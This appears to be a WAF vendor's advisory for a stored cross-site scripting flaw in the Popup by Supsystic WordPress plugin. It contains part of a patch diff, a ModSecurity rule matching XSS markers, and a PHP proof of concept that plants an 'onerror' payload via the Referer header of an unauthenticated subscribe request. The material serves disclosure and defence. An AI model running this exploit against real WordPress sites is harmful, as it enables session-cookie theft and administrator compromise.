           'With Popup by Supsystic you can show popup in different ways – when page loads, after user scroll page, on exit from site, after user comment. Besides you can show popup by clicking on certain link, button, image or even show it by clicking the Menu item. Just add required code and everything is done!<br />More info you can find here <a target="_blank" href="%s">here</a>',
           PPS_LANG_CODE,
         ),
-        '//supsystic.com/open-popup-on-click/',
+        '//supsystic.com/documentation/open-popup-click/',
       ),
       __('What is A/B testing?', PPS_LANG_CODE) => sprintf(
         __(
           'A/B testing is one of the easiest ways to increase conversion rates and learn more about your audience!<br />A/B test in Popup plugin involves testing two or more versions of a popup window - an A version (original) and a B versions (the variation) - with live traffic and measuring the effect each version has on your conversion rate.<br />To know more detail – click <a target="_blank" href="%s">here</a>',
           PPS_LANG_CODE,
         ),
-        'http://supsystic.com/what-is-ab-testing/',
+        '//supsystic.com/documentation/ab-testing/',
       ),
       __('How to create Subscribe Custom Fields?', PPS_LANG_CODE) => sprintf(
         __(
@@ -46,7 +46,7 @@
 Go to Design tab -> Subscribe section -> Subscription Fields block. Here you can add any new fields which you want. Read more <a target="_blank" href="%s">here.</a>',
           PPS_LANG_CODE,
         ),
-        '//supsystic.com/subscribe-custom-fields-builder/',
+        '//supsystic.com/documentation/popup-subscription-settings/',
       ),
       __('How to subscribe to MailChimp?', PPS_LANG_CODE) => __(
         'To subscribe to MailChimp you need enter your MailChimp API key and name of list for subscription. To find your MailChimp API key - follow the instructions below:<br />
@@ -70,7 +70,7 @@
 					Check the example of <a target="_blank" href="%s">Build-In Page Popup.</a>',
           PPS_LANG_CODE,
         ),
-        'http://supsystic.com/build-page-popup/',
+        '//supsystic.com/example/built-in-page-popup/',
       ),
     ];
   }
--- a/popup-by-supsystic/modules/supsystic_promo/views/tpl/overviewTabContent.php
+++ b/popup-by-supsystic/modules/supsystic_promo/views/tpl/overviewTabContent.php
@@ -21,24 +21,11 @@
         <div class="overview-contact-form overview-section" data-section="support">
           <h3><i class="fa fa-life-ring"></i> Support</h3>
           <div class="contact-info-section">
-            <p><i class="fa fa-clock-o" aria-hidden="true"></i> Our official support hours are 09:00 - 18:00 GMT+02:00, Monday to Friday – excluding bank holidays and other official holidays.</p>
-            <p>The timescales listed below refer to these working hours.</p><br>
-            <p><em>Support requests are prioritized based on the type of license:</em></p>
-            <ul>
-              <li>
-                <p><em>Pro Support</em> is reserved for customers with an active Pro license. We respond to new priority support requests within 12 hours.</p>
-              </li>
-              <li>
-                <p><em>Standard Support</em> is provided to customers with an active Free license. We respond to standard support requests within 24h-48h.</p>
-              </li>
-            </ul><br>
-            <p><i class="fa fa-exclamation-triangle" aria-hidden="true"></i> While we don’t guarantee that we will resolve the request in this time period, we will acknowledge it and communicate with the customer as appropriate to help resolve the issue.</p>
+            <p>
+              If you are experiencing any issues with the plugin, would like to request a new feature or improvement, or have any other questions, please contact our technical support team through our website:
+              <a href="https://supsystic.com/contact-us/" target="_blank">https://supsystic.com/contact-us/</a>
+            </p>
           </div>
-
-          <p>
-            If you are experiencing any issues with the plugin, would like to request a new feature or improvement, or have any other questions, please contact our technical support team through our website:
-            <a href="https://supsystic.com/contact-us/" target="_blank">https://supsystic.com/contact-us/</a>
-          </p>
           <div class="clear"></div>
         </div>

--- a/popup-by-supsystic/pps.php
+++ b/popup-by-supsystic/pps.php
@@ -4,7 +4,7 @@
  * Plugin Name: Popup by Supsystic
  * Plugin URI: https://supsystic.com/plugins/popup-plugin/
  * Description: The Best WordPress popup plugin to help you gain more subscribers, social followers or advertisement. Responsive popups with friendly options
- * Version: 1.11.2
+ * Version: 1.12.0
  * Author: supsystic.com
  * Author URI: https://supsystic.com
  * Text Domain: popup-by-supsystic

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-27537
# Rule targets unauthenticated subscription requests with malicious referer headers
# This rule blocks the initial injection point, preventing the payload from being stored.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267537,phase:2,deny,status:403,chain,msg:'CVE-2026-27537 via Smart Popup subscription payload injection',severity:'CRITICAL',tag:'CVE-2026-27537'"
  SecRule ARGS_POST:action "@streq subscribe" "chain"
    SecRule REQUEST_HEADERS:Referer "@rx <script|javascript:|onerror=|onload=|onclick=|()" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27537 - Smart Popup by Supsystic <= 1.11.2 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'https://your-wordpress-site.com'; // WordPress site URL
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious payload (event handler to bypass potential basic WAF filters)
$payload = '"><img src=x onerror=alert(document.cookie)>';

// Create a referer URL that contains the malicious payload
$malicious_referer = $target_url . '/path/' . $payload;

// Subscription data (email and other fields required by the plugin)
$post_data = array(
    'action' => 'subscribe',
    'email' => 'attacker@evil.com',
    // Add other required fields like 'popup_id' if necessary
);

// Initialize cURL session
$ch = curl_init($admin_ajax_url);

// Set cURL options
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_REFERER, $malicious_referer);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status: " . $http_code . "n";
    echo "Response: " . $response . "n";
    if ($http_code == 200) {
        echo "[+] Payload submitted successfully. Check the subscriber list in the admin panel to trigger the XSS.n";
    } else {
        echo "[-] Request failed. The payload may not have been stored.n";
    }
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.